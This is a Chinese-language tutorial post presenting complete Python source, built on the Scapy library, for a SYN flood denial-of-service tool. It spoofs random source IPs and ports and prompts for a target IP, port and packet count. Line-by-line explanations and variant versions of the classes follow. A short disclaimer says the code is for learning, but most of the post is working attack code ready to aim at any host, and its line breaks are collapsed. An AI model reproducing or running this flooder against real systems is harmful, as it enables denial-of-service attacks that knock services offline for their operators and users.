Scapy庫實現SYN洪水攻擊的Python腳本

代碼用于學習熟悉Scapy庫及其在網絡安全研究和測試中提供的各種選項和功能
腳本旨在執行SYN洪水攻擊,這是一種分布式拒絕服務(DDoS)攻擊的類型。未經授權參與此類攻擊通常是違法的,可能會產生嚴重后果

代碼

SynFlood.py

from scapy.all import *
import socket
import random
from scapy.layers.inet import TCP, IPclass IPGeneration:def __init__(self):self.localIP = socket.gethostbyname(socket.gethostname())def getRandomIP(self):while (True):tempIP = str(random.randint(128, 150)) + '.' \+ str(random.randint(1, 254)) + '.' \+ str(random.randint(1, 254)) + '.' \+ str(random.randint(1, 254))if tempIP != str(self.localIP):return tempIPclass SynFlood:def __init__(self, attackIP, attackPort):self.ipGeneration = IPGeneration()self.srcIP = self.ipGeneration.getRandomIP()self.srcPort = random.randint(1000, 65535)self.dstIP = attackIPself.dstPort = attackPortdef attack(self):self.srcIP = self.ipGeneration.getRandomIP()self.srcPort = random.randint(1000, 65535)ip = IP(src=self.srcIP, dst=self.dstIP)tcp = TCP(sport=self.srcPort, dport=self.dstPort, flags="S")send(ip / tcp, verbose=0)def flood(self, times):for i in range(times):self.attack()

Main.py

from SynFlood import *def main():dstIP = input("請輸入攻擊的目標的主機的ip地址:")dstPort = eval(input("請輸入攻擊的目標主機的端口(Web服務器: 80, FTP服務器: 21) : "))times = eval(input("請輸入攻擊次數："))syn = SynFlood(dstIP, dstPort)syn.flood(times)
main()

Scapy庫

Scapy是一個強大的Python網絡數據包操作和數據包嗅探工具,在網絡安全研究和測試中非常有用。在這個代碼中,Scapy被用于構建和發送TCP SYN數據包。from scapy.all import *導入了Scapy庫的所有模塊和函數,包括用于構建IP和TCP數據包的IP和TCP類。from scapy.layers.inet import TCP, IP則專門從Scapy的inet層導入了這兩個類。

socket模塊

socket模塊是Python標準庫的一部分,用于處理網絡編程相關的功能。在這個代碼中,socket模塊被用來獲取當前機器的IP地址,為生成隨機源IP地址提供依據。

random模塊

random模塊也是Python標準庫的一部分,提供了生成隨機數的功能。在這個代碼中,random模塊被用來生成隨機的源端口號,以及在IPGeneration類中生成隨機的IP地址。

IPGeneration類

這個類負責生成隨機的IP地址。它的__init__方法獲取了當前機器的IP地址,并將其存儲在localIP屬性中。getRandomIP方法則生成一個與localIP不同的隨機IP地址。這些隨機IP地址將作為SYN洪水攻擊中的源IP地址。
例如：

class IPGeneration:def __init__(self):s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)s.connect(("8.8.8.8", 80))self.localIP = s.getsockname()[0]s.close()def getRandomIP(self):ip = [str(random.randint(0, 255)) for _ in range(4)]randomIP = '.'.join(ip)while randomIP == self.localIP:ip = [str(random.randint(0, 255)) for _ in range(4)]randomIP = '.'.join(ip)return randomIP

SynFlood類

這個類實現了SYN洪水攻擊的核心邏輯。在__init__方法中,它創建了一個IPGeneration對象,并生成了隨機的源IP地址和端口號。attack方法構建了一個TCP SYN數據包,并使用Scapy的send函數發送。flood方法則調用attack方法多次,以執行SYN洪水攻擊。
例如：

class SynFlood:def __init__(self, targetIP, targetPort):self.ipGenerator = IPGeneration()self.sourceIP = self.ipGenerator.getRandomIP()self.sourcePort = random.randint(1024, 65535)self.targetIP = targetIPself.targetPort = targetPortdef attack(self):ip = IP(src=self.sourceIP, dst=self.targetIP)tcp = TCP(sport=self.sourcePort, dport=self.targetPort, flags="S")packet = ip / tcpsend(packet)def flood(self, packetCount):for _ in range(packetCount):self.attack()